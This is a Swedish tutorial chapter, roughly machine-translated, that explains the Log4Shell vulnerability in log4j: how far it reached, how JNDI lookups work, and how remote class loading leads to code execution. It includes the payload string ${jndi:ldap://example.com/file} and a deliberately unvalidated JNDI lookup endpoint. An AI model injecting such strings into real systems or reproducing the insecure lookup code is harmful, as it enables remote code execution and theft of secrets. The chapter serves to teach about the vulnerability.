Log4Shell sårbarhet

7.1 Skandal

Och naturligtvis är det omöjligt att inte berätta om historien som hände ganska nyligen - i slutet av 2021.

US Cybersecurity and Infrastructure Protection Agency (CISA) sa att problemet Log4Shellär en av de allvarligaste sårbarheterna i historien. Ja, vi pratar om vårt favoritbibliotek log4j.

Vårt mysiga lilla bibliotek log4j och historiens största sårbarhet ? Fascinerad? Lyssna, då.

7.2 Katastrofens omfattning

Upptäckten av en kritisk sårbarhet Log4Shell(kod CVE-2021-44228) tillkännagavs den 9 december 2021 av Lunasecs säkerhetsexperter. Experter från Apache Security Team Java-communityt har verifierat denna information och publicerat en lista över sårbara Java-bibliotek. Listan var bara enorm.

Om ett Java-projekt använde ett bibliotek log4j, kan det hackas ganska enkelt. Och med tanke på att nästan all servermjukvara är skriven i Javaden log4jmest populära javaloggern, enligt säkerhetsexperter, påverkade sårbarheten 93 % av företagens molnmiljöer. Inklusive sådana som Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam och många fler

Dessutom påverkade sårbarheten inte bara serverprogramvara, utan också många Java-applikationer, såväl som hårdvarutillverkare. Till exempel publicerade Intel en lista med 32 hackbara program: SDK, serverunderhållssystem, Linux-verktyg.

Nvidia publicerade också en säkerhetsproblemrapport som nämnde DGX-servrar och NetQ-verktyg. Ett antal uppdateringar släpptes snabbt av Apple och Microsoft.

Grovt sett, en rad i adressfältet i en elevs webbläsare sätter servern om denna rad äts upp av loggern ( på många servrar loggas allt ) HTTP-requests.

Efter att ha analyserat koden visade det sig att sårbarheten funnits på biblioteket sedan 2013, men de märkte det först nu. Och när de började gräva djupare upptäckte de en avgrund, vars botten inte alls syns.

7.3 Den allvarligaste sårbarheten i historien

Tillbaka i december 2021 uppgav den amerikanska byrån för cybersäkerhet och infrastrukturskydd (CISA) att Log4Shelldet är en av de allvarligaste sårbarheterna i historien .

Många andra experter uttrycker en liknande åsikt . Alla känner till denna sårbarhet och hackare i alla åldrar använder den redan för att stjäla personlig data och andra typer av attacker mot olika organisationer. I framtiden väntar vi på en våg av massiva hacks och dataläckor.

Katastrofens omfattning kan mätas även av det faktum att det finns en separat sida med memes om Log4j , och varje dag kommer det nya bilder.

Detta problem har funnits med oss ​​länge. Ett säkerhetshål i miljoner om inte hundratals miljoner datorsystem. All gammal mjukvara måste uppdateras och åtminstone ersätta detta bibliotek där. Men i de flesta fall vet ingen ens vilka bibliotek och vilka versioner som används i deras programvara.

Generellt sett förväntar vi oss en kraftig ökning av lönerna för datasäkerhetsspecialister.

7.4 Typ av sårbarhet

För att förstå kärnan i sårbarheten måste du förstå hur stora serversystem är ordnade. Ofta är sådana serverapplikationer uppdelade i olika tjänster som finns på olika servrar. Och JNDI-tjänsten hjälper dem att interagera.

Java Naming and Directory Interface (JNDI) är Java APIatt slå upp objekt/tjänster efter namn. Dessa objekt kan lagras i olika namntjänster eller kataloger som Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) eller Domain Name Service (DNS).

Att arbeta med det är väldigt enkelt - det är enkelt Java APIsom bara tar en strängparameter - namnet på tjänsten. Med den kan du kontakta vilken tjänst som helst och be honom att göra något och / eller skicka några data. Till exempel ${jndi:ldap://example.com/file}kommer sträng att ladda data från detta URLsom anges i strängen.

Om parametern kommer från en opålitlig källa kan det leda till fjärrklassladdning och tredjepartskodexekvering . Vad händer i fallet med Log4j. Angriparen dirigerar helt enkelt offrets Java-applikation till den skadliga rmi/ldap/corba-serveroch tar emot ett skadligt objekt som svar.

Tekniskt sett ligger problemet här inte i log4jsjälva biblioteket, utan i säkerhetsinställningarna när man arbetar med JNDI-service. Du måste alltid kontrollera vilken typ av sträng vi skickar till InitialContext.lookup().

Sårbart exempel JNDI-applications:

@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 För smart bibliotek

Och var log4jfrågar du? Saken är att dess utvecklare ville göra arbetet med det så bekvämt som möjligt och lade till smart loggning till den. Så här fungerar det:

Det hela började med att loggmeddelanden tillät dig att ange en mall där data ersattes, till exempel:

log.debug(“User {user} has {count} friends”, user, count);

Den gamla versionen utan datasubstitution såg ut så här:

log.debug( “User “+user +” has “+ count +” friends”);

Under 2013 lades även ersättningen av smarta prefix som anges av vymallen till biblioteket ${prefix:name}. “${java:version}”Till exempel kommer strängen att konverteras till «Java version 1.7.0_67». Åh vad bekvämt.

Bland de erkända uttrycken kan ${jndi:<lookup>}du efter jndi-protokollet ange en sökning genom LDAP: godtycklig URL-addresskan efterfrågas och laddas som objektdata Java.

Detta är ett standardproblem för hela tillvägagångssättet JDK: det avserialiserar automatiskt ett objekt, en länk till vilket kan ställas in i form av en url. I det här fallet laddas inte bara objektets data från fjärrresursen, utan också koden för dess klass.

Hacket ser ut så här:

• Ladda ner en fil med skadlig kod
• Filen innehåller serialiserade Java an object(och dess klass)
• Klassen laddasJava-machine
• Ett objekt av en skadlig klass skapas
• Objektets konstruktor kallas
• Både konstruktor och statisk initiering tillåter att skadlig klasskod exekveras

log4jOm det finns något liknande i raden som loggas kommer ${jndi:ldap://example.com/file}den log4jatt ladda ner data från denna URL-addressnär den ansluter till Internet . Genom att ange en sträng som loggas kan en angripare ladda ner och köra skadlig kod som finns på en offentlig URL-address.

Även om datakörning är inaktiverad kan en angripare få data, såsom hemliga miljövariabler, genom att placera den i en , URL-addresssom kommer att ersätta den och skicka den till angriparens server.

Den goda nyheten är att problemet snabbt åtgärdades i biblioteket .

Den dåliga nyheten är att miljontals servrar runt om i världen fortfarande kör den gamla versionen av detta bibliotek ...